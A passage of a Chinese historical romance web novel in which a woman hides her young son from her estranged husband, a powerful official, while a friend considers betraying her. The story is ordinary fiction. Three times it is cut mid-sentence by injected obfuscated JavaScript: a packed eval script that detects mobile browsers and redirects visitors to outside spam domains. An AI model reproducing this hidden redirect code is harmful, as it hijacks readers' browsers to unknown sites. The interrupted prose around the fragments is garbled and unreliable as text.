“前年初,温大姑娘得了个千金。小姑娘玉雪可爱,和温大姑娘简直一个模子里倒出来的,因为这五年孟大人和容大人走得极近,就连孩子的大名,都是容大人起的。” 叶采薇的脸柔软了下来。 “倒是温家两位公子,这五年几乎和容家断绝了往来,与从前完全不同。温大姑娘大约是知道她两个哥哥的心思,也不从中说和,任凭他们几家的关系继续这么别扭下去。” 叶采薇忽然想起前晚在客栈里,容津岸没来由地说“温谣的两个兄长,他们也很想你”。 都断绝往来了,怎么还编排人家呢? 叶采薇趴下去,头枕在问鹂的腿上,依偎起来。 “这些年,三皇子齐王迟迟没有得到太子之位,容大人高升后,齐王给容大人塞过不少女人。不过容大人一个没收,统统打发了;京城里,无论老钱还是新贵,多少待字闺中的姑娘对容大人动过心思,明里暗里用尽了手段,游娘子也煞费苦心张罗过不少,容大人从来没有松过口。” 说话时,问鹂轻抚叶采薇的青丝,仔细观察着她的表情。 叶采薇却冷笑,不以为意: “那是因为,她们一个个脸皮薄、要顾及自己的矜持,遇到个不管不顾死缠烂打的康和县主,容津岸不就没拒绝,还带人从京城到池州、一起登山?” 因为康和县主和你长得有点像啊,我的姑娘。 但问鹂没这么说,她自己也觉得这话说出来恶心人。 反正是那县主一路从京城追过来的。 眼看快要到目的地,她问: “是直接去别院吗?” 叶采薇毫不犹豫地点头:“已经出来了四天,小家伙肯定很想我。” 当然,她也很想他。 “对了。”叶采薇此时的笑容,温柔得不像话,她抱着问鹂的腰: “问鹂,我的好问鹂,你改口了这几天,回去了,可千万莫要再叫错,尤其是在别院里。小家伙耳朵灵得很,脑子转得快,若是让他听见了,肯定要缠着我问,这趟出门几天发生了什么,让问鹂姑姑把阿娘叫作了‘姑娘’。” “到时候,我难道要跟他坦白,我的宝贝呀,阿娘见到你那个已经死了五年的渣爹爹吗?” 问鹂其实很享受自家姑娘抱着她撒娇的时候,连连应诺,谁知随手掀开马车的侧帘,目光一顿,说话的语气,突然变得严肃: “先生,眼下恐怕不是一个称呼的问题了。” 叶采薇顺着她的手向外望去,只见落后她们一点点的地方,另一辆马车与她们保持着距离,匀速前进。 她认得,那是容津岸的马车。 “改道回书院。”叶采薇说,声音和脸色一样沉。 因着扩大规模,青莲书院在嘉泰元年起便从东流县城搬到了郊外的半山,叶采薇她们快到县城时,马车一拐,便上了专道。 然而出乎她所料,容津岸的马车径直入了城,似乎并不是为了跟踪她而来。 但,她不敢冒风险再次改道,只能先回书院,静观其变。 叶采薇心事重重,回到寝房、洗漱更衣之后,就连整理著作手稿,都格外心不在焉。 书院里,老师和学生的寝房并未分开,只是因着叶采薇是唯一一名女子,书院山长特意将她的寝房安排在了稍远一点的地方,让她便宜行事。 午时过半,学生在饭堂用了午膳回来歇晌,三三两两的交谈声、嬉笑声,声声从叶采薇案前的直棱窗中飘进来,她干脆停了笔,望着窗外发呆。 容津岸就是在这个时候来的。 说来也是巧,跟着叶采薇上山采风的几个学生,回来县城原本是要各回各家的,可谁知有一人想起走时寝房里自己养的水仙和月季忘记了浇水,心急回来看,刚好在山下书院门口,碰见了准备打听“姚先生”的容津岸。 容津岸向他表明来意,说姚先生昨晚为康和县主慷慨解囊,他专程赶来,向姚先生当面致谢。 那学生是素日里对叶采薇最为言听计从的一个,在他领着人出现的第一时间,便将这番话,原原本本说与了自己的老师。 即使他并未想明白,那康和县主分明不是容大人的未婚妻,怎么容大人还为了她,专程跑一趟东流? 再说,昨晚上明明有大把的时间,怎么非要等到现在? 然而这些疑问不该他问出口,他一心记挂着自己的水仙和月季,客套几句后,便径直离开了。 留容津岸一人站在窗前,在叶采薇客气的假笑消失的瞬间,开口: “男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282126|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女混居,就为了陪那些学生夜读方便?” 前晚在池州府城的客栈,容津岸听学生们说过,他们留下来夜读,她总会陪伴他们。 他脸上的巴掌印已经淡了大半,浓烈的阳光下,惨白的皮肤仿佛病骨支离,偏生他挺立如松。 “先生是书院里第一个女先生,这间房是山长特意为先生安排的,平日里奴婢与先生在此起居,一方天地,自在无拘,并无任何不妥。” 问鹂立在房门口,阻挡容津岸更多窥伺的视线。 她当然不能说,其实她们主仆二人很多时候都歇在别院里,小公子睡前听不到娘亲讲的故事,会难以入眠。 “远道而来,不请我进去坐坐?”容津岸便转向了问鹂。 “大人方才也说了,男女有别,这里到底是女子的闺房,又是人来人往的书院中,若是被旁人看见、传了出去,对我家先生清誉有损。”问鹂客气地拒绝。 即使是在当年的叶府,因着叶采薇闺房里里外外伺候的婢女仆妇众多,与容津岸偷偷私会,也基本是叶采薇溜到他的房中。 “那就请问鹂姑娘带路,引容某去方便说话的地方?”他不疾不徐。 “我与你无话可说。”叶采薇拉过掐丝珐琅彩的沉香木镇纸,把满桌的书稿压好,站起来,又忽然想起什么: “如果你来,真是想替你的红颜知己道谢的话,那最好的行动,就是替她把钱还给我。” 说话间,她已经走到了门口,问鹂的身边。 树上的蝉将夏日叫得“呲呲”作响,冲淡了容津岸身上清冷的香气,叶采薇眉目蹙着盛夏的绯红,她不等他回应,又说: “不过,我本来也没打算让你们还钱。我的学生们都很好,在外人面前保全他们的颜面,是我这个老师应有的责任。” “与学生亲密无间、甚至答应他们的提亲,也是你的责任之一吗?”容津岸的喉结滚动,像个小山尖。 他在说佟归鹤的事,叶采薇忽然一阵烦躁。 “你走不走?”她瞪着他。 像只不耐烦的、叽叽喳喳的麻雀。 “我虽然人在丁忧,但仍挂着礼部尚书的职位。”他倒是慢条斯理起来,“南直隶的秋闱就在下个月,我过去打声招呼,也并不麻烦。” 叶采薇当然听懂了他的言外之意:“你、你怎么能拿他们的前途开玩笑?!” 容津岸笑了起来,漆黑的瞳孔倒映着叶采薇此刻因为急怒而涨红的脸: “佟归鹤——” “得不到功名,他永远没有机会向你提亲。” “薇薇,你因为这个暴跳如雷?” ?? “我根本不可能答应他!”叶采薇冲口而出。 她心口一缩,蓦地收回视线,觉得自己虽然说了实话,却隐隐预感到,像是落入了这个男人的陷阱一样。 “是吗?”容津岸眉宇微蹙,“你是习惯性言而无信的人,我怎么信你?” “简直是张口就来,”叶采薇摇头,“我什么时候言而无信了?” “你说过要一辈子跟我在一起的,不也食言了吗?”他说。 叶采薇无语凝噎。 这人怎么长得道貌岸然,说出口的话却比谁都要胡搅蛮缠? 问鹂忍不住朝容津岸身后不远处,候着的容文乐使眼色。 叶采薇指尖掐着掌心,花朵似的小脸还红着: “这根本就是两回事,我、我和他——” “那现在就跟我走。” 容津岸打断了她。 “跟我走,我会考虑,相信你说的承诺。” 10. 明媚掌控 10 叶采薇被他这幅理直气壮的样子气笑了: “容津岸,你能不能要点脸?” 她饱满的胸口上下起伏。 “玩弄人家小姑娘的感情,对人家始乱终弃的是你吧?” “收了我给游娘子仙逝的帛金,反过来要挟我向朝廷命官行贿的是你吧?” “吃拿卡要、好处占尽,不负责任的是你吧?” 叶采薇越说,越觉得容津岸的罪行简直罄竹难书,她一口气不停歇,还兀自提高了音调: “你怎么还有脸,跑到我的地盘来撒野?” “你敢拿我的学生来威胁我?” “前后足足有一万五千两银子,我的诚意还不够多?你是吞象的蛇吗,不怕被撑死?” 她一瞬不瞬地盯住他,不甘示弱。 “我以为,昨天容文乐的话说得够清楚了。” 容津岸倒像是淡了下来,说完还睨了容文乐一眼。 叶采薇蹙眉正要问,忽然想起回来的马车上问鹂所言,容文乐告诉她,五年来,容津岸身边一直没有别的女人。 可是,他告诉她这些做什么? 她的心跳骤然发紧。 容津岸又说: “叶采薇,”连名带姓喊她,每一个字都是嘲讽的语气,“你以为我把你带回去,会对你做什么?” 他不停顿,甚至还夹杂着冷笑: “和你再续前缘,用十里红妆再次将你迎娶过门?让全天下都看到,来欣赏我们的琴瑟和鸣举案齐眉?” 他双目猩红: “我要用鞭子狠狠抽你一顿,然后把你关在暗无天日的地牢里,没有人、没有人能够找到你。我要用生锈的锁链铐住你的手和脚,你连喝水,都只能跪.趴在我的脚下,可怜巴巴地求我,求我喂你——” 容文乐和问鹂吓得说不出话来,惊恐对望。 这是一个光风霁月的谦谦君子、朝野上下享誉盛名的清流领袖,能够说出来的话? 叶采薇又惊又怒。 容津岸吐词清晰,字字句句恶毒如砒.霜,燎得叶采薇双眼一阵刺痛,发麻,颤抖,她忍不住抬起手,又要像那晚一样,赏他一个大嘴巴子 ——谁料他预判了她的反应,在她抬手的一瞬,双腕都被他握住。 “又想打我了?”得逞的人无情地嘲弄着她的失败,“这两天,我顶着你的杰作招摇过市,你心里得意得很,是不是?” 就像从前,明知道他的皮肤比寻常人白,她还是故意在他脖子上留下吻.痕。 旁人眼里的他清冷守礼,绝不可能会有那样的痕迹,在外时,他只好不断将中衣的交领往上提。 她待他事事委曲求全,难得有这样的机会,得意地欣赏他因她而起的窘迫。 但眼下不是当年了。 叶采薇语塞,瞳孔大张。 双腕被他捏住的地方疼得要命,她像是被他强行按在了悬崖边,目睹深渊吃人的黑洞,猎猎底风销魂蚀骨,随时都可能推下去,粉身碎骨,万劫不复。 他疯了,容津岸疯了。 ——“大人” ——“容大人” 容文乐和问鹂的声音同时响起。 他们是壮着胆子开口的,以容津岸现在的模样,场面随时都有可能失控。 但出乎他们的意料,箭在弦上,容津岸却突然松了劲力,朝外几步。 他身形修长笔直,如千年不倒的孤松,方才那些言行,与他格格不入。 他的背影,竟然还有种说不出的萧索和落寞。 “叶采薇。” “叶采薇。” “被自己亲近之人联起手来背叛的滋味,你很想让我也尝足、尝够,是不是?” 然后拂袖而去。 空阔在沉寂中草草收场,树上的蝉又开始“呲呲”长鸣,一声接一声,一声接一声,此起彼伏,密不断绝。 这个“也”字,并非容津岸空穴来风。 叶采薇曾经被亲近之人联手背叛,其中之一,还是与她相依为命、被她视若神明的父亲叶渚亭。 那些事容津岸了如指掌,今日他突然失控,给她安上了莫名其妙的罪名。 什么意思? ——“先生、先生?” ——“姑娘,你还好吗?” 叶采薇痴滞,如同在暴雨中被淋得透彻的麻雀,问鹂心急如焚,不断唤她。 “立刻,现在立刻去别院。” 失魂落魄的麻雀眼底黯然,勉强打起精神。 叶采薇的心中风雨大作,她想明白了。 容津岸所谓“亲近之人联手”,一个是指她,另一个人,则与别院有关。 方才他没有直接跟着她,而是分道先入了东流县城,显然就是去求证答案。 难道他已经知道了叶琛的存在,甚至……还见了他们的儿子? 一路疯了一般追赶,主仆二人杀到别院,在门口,却刚好撞见了另一对主仆。 “七奶奶。”叶采薇的心快要跳出来,但对方此时优哉游哉,她只能极力掩饰自己的慌乱。 但旋即她发觉,一切似乎并没有她想得那般糟糕。 这位“七奶奶”,是东流望族奚家七爷的正室夫人梅若雪。她穿浅洋红色彩晕锦衫裙,裙摆稍短,露出湖绿色茱萸纹裙边和镶了东珠的妆花鞋头,单螺髻配着一整套赤金缧丝嵌宝头面,光是盈盈玉立,足以富贵逼人。 叶采薇上前握住她的手:“是我来晚了。” 梅若雪任由对方顺势挽住了她,两只玉臂紧紧相贴,笑容淡淡: “原本是该今日一大早过来,谁知下面的人报说庄子上临时生了事,我便赶过去,这才忙完过来。” 叶采薇的心已然安定了下来,见梅若雪眼底泛着疲惫,不由疼惜起来: “这些年,多亏了七奶奶照拂,我才能够在东流落地生根。这次是我不收信诺,说好了三日便回的。” 说完,她又上下打量着梅若雪,上身贴过去: “七奶奶这一身好看得紧,刚刚第一眼,把我眼睛都看直了,忍不住一看再看。” 梅若雪生得温婉,因着直白的夸奖,白皙的双颊泛起浅浅红晕,她低道: “采薇,还是你会夸人。” 然后说: “你是七爷的挚友,你的事就是我的事,我们姐妹一场,那些客气的话你可千万别说了。咱们赶紧进去吧,前儿我来的时候,容安还可怜巴巴地问我,阿娘说好了明日回来,明日真的能回来吗?” 想起儿子叶琛,叶采薇的心都要化了,两人携手才刚走进别院正门,身后忽然有小厮来报: “七奶奶,午前府里来了客,自称是七爷从前在国子监的老友,姓容。小的回他七爷近期都不在东流,他便问起了奶奶您。” “你怎么回他的?”梅若雪问。 “这个时候,七奶奶不在府中。”那小厮一字不落地回答,“容公子听完便匆匆离去,并未留下话。” 叶采薇却忽然明白了过来。 方才容津岸拿佟归鹤提亲的事来试探她,她回答的那句“根本不可能答应他”,若是容津岸钻了牛角尖,把“七奶奶不在府中”联系起来,会不会认为,奚家的七奶奶,就是她叶采薇? 毕竟这位奚家七爷奚子瑜,是唯一称得上容津岸挚友的人。 在他眼里,她与他和离后转头嫁给了他的挚友,多年来向他隐瞒踪迹,留他一人在京城,被蒙在鼓里。 算是联手将他背叛。 但若果真如此,容津岸又显然太过冲动失智。 早在他们初识的时候,大家便都知晓奚子瑜有个青梅竹马的未婚妻,两人感情甚笃。后来奚子瑜回到东流,与梅若雪风光大婚,婚后还育有两个可爱的孩子,是远近驰名的恩爱夫妻。 即便容津岸不信任她的人品,也应当信任奚子瑜。 ——“阿娘!阿娘!” 叶采薇想着冲动失智的容津岸,一声他亲生儿子朗润清脆的呼唤,又将她拉回现实。 她低头,看向扑到自己脚边的叶琛。 叶琛的容貌生得和她像极了,然而神态动作却与容津岸一模一样。 看见他,就像看见了方才在书院里对她出言不逊的某个人。 而叶琛无辜,又显然太过想念自己的娘亲,不顾她从小到大对他严格的君子规训,扯着她的裙摆,来回拉动。 香宝花罗面料脆弱,叶琛又下了极大的力气,裙摆登时皱成一片,叶采薇被拉得烦了,板起脸,捉住他的小手,拉开,厉声道: “阿娘才几天不在,你就要准备上房揭瓦了?叶容安,教你的规矩呢,是不是根本没有用心去记?” 叶琛再天资聪颖,也是个才满四岁的稚嫩孩童,难得表达思念,却被娘亲当头狠狠泼了一盆冷水,眉眼顿时耷拉下来。 然而他也完美地继承了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14282127|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 父母高傲又倔强的脾性,即使热泪在眼眶中打转,也绝不服输,从叶采薇手中抽出自己的手,站得笔直,仰头看向梅若雪: “七奶奶,七叔叔呢?他什么时候回来?” 梅若雪浑身一僵,并未回答,叶采薇身后的问鹂看穿了叶琛的情绪,连忙上来,蹲在叶琛身前,摸了摸他的头: “容安几天不见阿娘,想不想听阿娘说说,那庆林书院的讲会有些什么新奇的乐子?” 叶琛却只看着梅若雪: “容安想念七叔叔了,只有七叔叔在的时候,才会带容安出门玩。七奶奶,七叔叔什么时候回来?” 梅若雪恢复了温婉的模样,也蹲下来,拉着叶琛的手: “容安,你很想出门?” 然后看了一眼叶采薇,见她面色沉沉,便继续对叶琛温柔说道: “这两天别院里冷清得很,七奶奶让弟弟和妹妹过来陪陪容安,好不好?” *** 别院在东流城西,与城东的奚家大宅,有好长一段距离。 马车启程后,梅若雪的乳母眼珠子转了转,说: “那姚氏把咱们当成什么了?姑娘今日是为了她的庄子才来回奔波的,她倒好,谢字不说,自己不会管教儿子,还要姑娘你来替她擦屁股!” 梅若雪拍了拍她的手:“嬷嬷的话未免太难听了些,我与采薇情同姐妹,哪里计较细枝末节。” 乳母却恨铁不成钢: “傻姑娘,你把人家当姐妹,那姚氏可把你当冤大头呢?什么姐妹,共事一夫的姐妹吗?” 梅若雪脸色一变:“莫要胡说!” 乳母拧着脸: “姑娘也别觉得老奴说话难听,正所谓‘忠言逆耳’。姑娘可知道,这些年来,别院里服侍的、还有外面见过琛哥儿的,私底下都议论,说琛哥儿是七爷的种。姑娘你与七爷的婚约,可是老太爷亲自拍板定下的,就算从前你寄居奚府时忍气吞声,这些年里,你为七爷为奚家做了那么多,哪个不敬你一声七奶奶?七爷当甩手掌柜,还要金屋藏娇,你又何必忍气吞声,帮一个外室劳心劳力照看孩子?” 梅若雪敛眉:“是丫鬟和乳母在照看琛哥儿,我不过是抽空过去看看罢了。” 乳母“啧”了一下,气已经提到了胸口,却听梅若雪又说: “采薇信任我,将她来东流后购置的庄子都交给我打理,这几年我背地里捞了多少好处,你还不清楚吗?” “哎哟喂我的小祖宗,”乳母锤了锤自己的胸口, “虽说未雨绸缪,姚氏庄子里的油水入了私库,能让你在奚家的腰杆子硬气一些,但那点子钱财,跟七爷的家产比起来算什么?” “可别忘了,七爷为了姚氏,连进士的功名、翰林院里大好的前程都舍得干净,如果没有姚氏从中作梗,你现在可是京官太太,不仅是金山银山,还有无限的风光和脸面,哪里需要抠抠搜搜过日子?” 梅若雪却彻底沉下脸来: “嬷嬷,我再说一遍,什么外室、什么金屋藏娇的话,以后都不许说了。回去之后立刻仔细查查,都是些什么人嘴碎,乱嚼舌根子,查到了,也不必来报我,赏一顿板子,统统撵出去。” “七爷与采薇是清清白白的,这件事,我最清楚不过。” 清清白白吗? 五年前,他突然回到东流,向她坦白,他爱上了那个他从京城带回来的姑娘,并说她若是想要退婚,他可以出面,向奚家的长辈背负一切。 后来,他们成了婚,他在人前给了她所有的尊重和礼貌,可也只有她知道,那些只为了履行义务的夫妻敦伦、貌似愧怍实则敷衍的冷淡,他明明热情似火,是偶尔意乱情迷,一面喊着“薇薇”一面狠狠欺她 ——这些,又确实与“清白”无关。 但她知道,姚氏是个再无辜不过的人。 梅若雪从小便深爱一个男人,从姚氏的眼神里,她自然读出她的深爱。 这个男人就是叶琛的父亲,不是她的夫君奚子瑜。 “姑娘,老奴有一计,不知当不当说。”乳母又开了口。 “不当说就别说。” “午前府上来的那个容公子,自称是七爷从前在国子监的老友。”乳母却还是说了,“七爷不是向来都对外称,琛哥儿是他过世挚友的儿子吗?” “算算时辰,那容公子应当还在东流县城里,不如咱们做个顺水人情,把琛哥儿给人送过去?” 11. 失信者 11 听了乳母的话,梅若雪不由沉吟。 其实,在刚刚到达别院门口、听小厮来报那位自称是夫君国子监老友的公子姓容的时候,她的心中就已然开始泛起了疑惑。 五年前,她的夫君将姚氏带到东流,告诉她,姚氏是他已故好友的遗孀。那位好友姓叶,祖父与奚家老太爷曾经同在内阁任职、都是天子近臣。 他想要照顾姚氏,若是她不能接受,她可以与他退婚,所有的责任他将一力承担。 但她没有选择放手。 很快,姚氏被诊出有孕,只是大夫说她先前受过极大的刺激,心思郁结,加之茶饭不思、脾胃不和,这一胎恐怕很难顺利保住。 那时候梅若雪想,如果姚氏果真落了胎,她那与她木然成亲、圆房的夫君,会不会动手杀了不中用的大夫? 所幸,即使形容枯槁,姚氏最终还是挺了过来。 姚氏生产时,梅若雪也已经有了好几个月的身孕,故而直到今日,她也对姚氏临盆时的九死一生记忆犹新。 那个孩子,还未出生就已获得了大名和表字,梅若雪也从未对“容安”二字产生过怀疑—— 可是,方才小厮在说起夫君那位国子监的好友时,姚氏面上那一闪而过的仓皇和错愕,却骗不得人。 真相恐怕是,这位远道而来的容公子,才是姚氏的前夫、叶琛真正的父亲,根本就没有死,姚氏也并非姓姚,而是姓叶。 这些,是她的夫君和姚氏,共同保守了五年的秘密,谁也不清楚。 她的夫君把她当做外人,不肯告诉她全部的真相,是觉得她会因此而对叶采薇更加愤恨—— 她与他的婚约是由奚老太爷亲自拍板做的决定,但原来奚老太爷,与叶采薇的祖父才是共患难的故交。 现在,秘密被揭穿,改变一切的机会近在眼前。 叶采薇原本就深爱那位容公子,还为他不辞艰难怀胎、九死一生产下儿子,她梅若雪让他们一家三口团圆,是在做好事呀! 嬷嬷说得对。 *** 别院里。 叶采薇惶然,其实在目睹梅若雪安抚叶琛、与叶琛温和而自在地交流时,她觉得自己像个外人一样。 方才刚刚来到别院,对叶琛说出那几句严厉的指责,几乎立刻,她就有些后悔了。 这一趟去池州府城,是她在叶琛出生后第一次离开东流。出发前,她答应了儿子,三天一定会回来。 是她食言在先,不占半点理。 纵使叶琛见面时的表现再无礼再不堪,也全然是出于对她的思念,她不该当着这么多人的面,泼他的冷水。 她太冲动了。 明知道叶琛和他那个渣爹爹容津岸的脾气一脉相承,最是要面子,也最是爱端架子,她偏偏要往他的肺管子里戳。 可是她忍不住,从生下叶琛开始,她就不得不狠下心来,扮演一个严母。 毕竟,她自己就因为从小丧母而被叶渚亭溺爱长大,以至于过分以自我为中心,顽劣、娇纵,从来没有站在叶渚亭的角度考虑过问题。 当年父女二人差点决裂,她不能让悲剧,再次在她与叶琛的身上上演。 这间别院非常大,足够一个年幼的稚童从襁褓到少年的成长,叶琛自两岁开蒙起,便喜欢在种满蔷薇的花廊下默默读书习文。 梅若雪走后,叶琛只与叶采薇简单交代了一句,一个人走回到书房,踩着木杌拿到书案上他正在习读的《大学》,来到花廊之下。 清高又倔强的模样,和容津岸简直一个模子刻出来的。 花廊下有专门为他摆的圆杌,叶琛却并不坐,只是站着。他比一般的四岁孩童要生得瘦一些也高一些,书本被他双手捧着,恰若一株笔直挺立的、小小的松树。 松树的树冠,在他手中发出轻微的响动。 叶琛对悄然走到身边的娘亲视而不见。 叶采薇也并不想打扰他的专注,尽管道歉的话已经挤在了她的嘴边。 她默然。 叶琛这孩子,不仅完美地继承了她与容津岸绝好的相貌和绝不肯轻易服软的犟劲,还加倍发扬了两人敏慧的头脑,天资聪颖、一点就透,若是有实在想不通的问题,才会主动问她。 到时候再讲不迟。 浓烈的阳光透过茂盛的蔷薇花和枝叶,零零落落地打在叶琛白皙的皮肤上,他的瞳仁又大又黑,薄唇抿成了一条线,小小年纪,眉宇间竟然已经有了一丝深邃的愁苦,与这满身的花影,竟有了一丝苦中作乐的味道。 就这样,母子两人相对静默。 叶琛手中的《大学》翻了好多页,问鹂忽然过来,形色匆匆,面色如铁,她覆在叶采薇的耳边说: “七奶奶那边来了人,说容大人又去了奚家大宅,七奶奶让先生带着小公子过去。” 叶采薇的手蓦地攥紧。 果然,不应该对容津岸抱有侥幸吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285511|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她辛辛苦苦藏匿了五年的一切,还是被他轻而易举地找到。 更重要的是,梅若雪这样吩咐,她没有任何拒绝或者出逃的余地。 这别院是奚家的。 “阿娘?”她的仓皇和强作淡定落入了叶琛的眼,男孩放下手中的书卷,黑漆漆的瞳孔看着她。 爱就算捂住了嘴巴,也会从眼睛里跑出来。 “容安,想不想阿娘带你出门?”叶采薇脸颊发酸,勉强挤出了笑。 从叶琛呱呱坠地起,这还是叶采薇第一次带他离开别院。 小家伙连在马车上都保持着端正的坐姿,叶采薇与他挨着,忍不住将手放在他圆圆的后脑勺,轻抚。 叶琛也不问他们要去哪里,目光从两边飞速抖动的马车侧帘收回来,认真看向自己的娘亲: “阿娘,你是不是有心事?” 怎么会没有心事呢? 从她来到东流、发现已经怀了容津岸的骨肉开始,她一刻也没有停止过心事重重。 除了出生时差点让她送命,叶琛其实是个极为省事的孩子,但也正因为如此,叶采薇对他的管教更加严厉。 “容安,方才阿娘回来的时候凶了你,没有考虑你的感受,阿娘错了。” “容安不循礼节,是容安的错。” “容安,如果阿娘骗了你,你会生阿娘的气吗?”叶采薇又问。 骗他他的娘亲姓姚,骗他他的父亲五年前过世。 这些谎言,很快便都要一一揭穿了。 马车摇晃,恰若她此刻动荡的心绪。 叶琛沉吟片刻,然后显出了超过寻常稚童不少的理智和淡定,他仰着小脸,与叶采薇对视: “孟子曰:‘君子可以欺其方,难罔以非其道’①,阿娘是君子,容安也是君子,阿娘用合理的谎言欺骗容安,容安知道,阿娘有自己的道理。” 叶采薇第一次觉得,叶琛像一只孑然傲立的鹤,孤守自己的理想和向往,泰山崩于眼前而不变色。 她的心陡然化成了一滩水。 伸出手来,把叶琛紧紧抱在了怀里,眼泪滑落,不让儿子察觉。 她应当往好处去想。 任谁来,都会一眼看出,叶琛是容津岸的儿子。 至少,被容津岸知晓真相,他能解开误会,不会认为是她背着他嫁给了奚子瑜。 好友之间,不应当有嫌隙。 旁的,就等她向容津岸一一清算。 12. 夜游 12 奚家是东流县最大的名门望族,其大宅规模之大,整整占据了连着的四条街道。 梅若雪的心腹早已候在角门,待叶采薇母子二人下车,便领着他们进了府。 庭院深深,院落重重,别说这是叶琛第一次来奚家大宅,就连从小在京城对权贵司空见惯的叶采薇,也忍不住暗叹奚宅的富贵荣华。 一路上几乎没遇见什么人,叶琛安静地走着,目光收敛,叶采薇则紧紧牵住他的手,并未说一句话。 等他们停在了一处院落,来到漆黑森严的正堂,却只见梅若雪一人端坐在正中的太师椅上。她下首处有黄花梨木的几张圈椅和几案,却不见茶具,全然没有半点招待过客人的模样。 叶采薇扑扑猛跳的心像是突然被按住,怔愣在原地,叶琛却松开了她的手。 “给七奶奶请安。” 纵使第一次遭遇这样严肃的场合,叶琛也毫不露怯,他将平日里叶采薇对他君子礼节的训教贯彻始终,向梅若雪谦恭行礼。 梅若雪已然换了一身衣衫,缃色雨丝锦八幅裙,袖口缀着莲花缠枝纹的滚边,一整套的头面换成了斜插的金赤玉步摇,见叶琛如此,先笑着让他不必拘礼,又连忙对一旁的乳母道: “小厨房才做好了群鲜羹和龙井流心酥,带琛哥儿下去用吧,琛哥儿第一次到我这来,可别让我发现你们怠慢了他、不把他当做正经主子,否则,仔细你们的皮!” 梅若雪一向温柔和婉,叶采薇第一次见她对下人这般狠厉,头皮一跳。 在叶琛走后,梅若雪又将剩余的三两婢仆遣退,偌大的正堂,只剩她与叶采薇二人。 叶采薇的表情五味杂陈,梅若雪主动站起来,走到她的身前,像她从前一样包握住她的双手: “采薇,是我不好,用谎话把你们母子骗来。” 叶采薇觉得梅若雪的手心冰冰凉。 “但这些话,我今天一定要说。” “你……采薇,是不是有事瞒着我?”梅若雪的眼中竟然闪着泪光。 *** 梅若雪并未留叶采薇母子在府上用饭。 确定人已经走后,梅若雪的乳母,终于按捺不住道: “我的小祖宗啊……你怎么事到临头,还是心软了?” 既然已经猜准了那位容公子的身份,报信拦人的小厮也在马上蓄势待发,最后关头,梅若雪却命令小厮转了向,另往别院去。 “我若真把采薇母子推到那容公子面前去,七爷回来知道了,怕不是要撕了我。”梅若雪躺在贵妃榻上,懒懒闭目养神。 乳母迟疑一瞬: “那看来,琛哥儿就是七爷和姚氏,哦不,叶氏的种?” “不,容安和七爷没有关系,”梅若雪蓦地睁开眼,乜了乳母一下: “这件事着实太大,若我真做了,在七爷那里,再没有挽回的余地。” “那……”乳母蜡黄的眼珠圆瞪,这下彻底拿不准自家姑娘的想法。 “采薇已经答应我了,等到她现在的学生完成科考,她就带着容安,彻底离开东流。” “但……秋闱倒是就在下个月,很快就能结束。不过奴婢听说,姚氏在青莲书院的那几个学生,个个出类拔萃,恐怕秋闱他们顺利中举,还要参加明年三月春闱、四月殿试,距离眼下有整整大半年,其中的变数可就太多了,不说别的,光是七爷回来——” “七爷昨天的来信说,西南那边的事情遇到阻滞,下个月赶不回来。”梅若雪吸了口气,不知道在想些什么: “采薇的那些田庄和铺子,都会便宜转让给我。下个月的秋闱,她也会先以陪学生赴考的名义,前往应天。” 回到别院的马车里,叶采薇再次与叶琛并坐。 梅若雪的话,仍然回荡在她耳畔: “我这么做,也是为了容安的将来考虑。采薇,咱们同为人母,你总不可能,让他一辈子都锁在别院的那一方小小天地里吧?” “容安是个懂事的孩子,越是这样,我越不忍心让他受到伤害。” “……是我疏忽,御下无方,今天才知道下面的人嘴碎,污蔑你与七爷的关系,还说容安是……你放心,乱嚼舌根子的那些都被我打发了,以后这东流县城,再也不会有人说你和容安的闲话。” 马车辚辚,敲动叶采薇的心扉,叶琛与她挨着,突然握住了她的手。 说是握住也不准确,叶琛的手还小,只能沿着她的虎口,攥着她的手掌。 “阿娘,七奶奶是不是不喜欢我?” 叶采薇一惊,鸦睫不住颤抖,她反手攥住自己的儿子:“七奶奶对你那么好,容安,你别——” “可是,”叶琛却难得无礼地打断了自己的娘亲,他小小的眉宇蹙着: “平日里容安的吃食,已经是珍馐美馔不断,七奶奶今天突然把我们请到奚家,却只让我留在房里……” 叶采薇的柔荑不住地翻搅。 “那是外面日头太大了,七奶奶心疼你,怕你晒着热着了。” 叶琛沉默,叶采薇忐忑,不知他会不会被她拙劣的谎言蒙蔽。 “七叔叔到底是不是我爹?”谁知叶琛又问。 叶采薇连连否认,叶琛的瞳孔迷茫,看向她却又郑重万分: “其实……方才在奚府,容安听见下人们议论,说容安是七叔叔的私生子……” 叶采薇的心狠狠一抽。 一直以来,都是她太过自私。她只从自己的角度考量,以为给了叶琛最好的一切,日子一天天过,在东流躲到叶琛参加科举的那日。 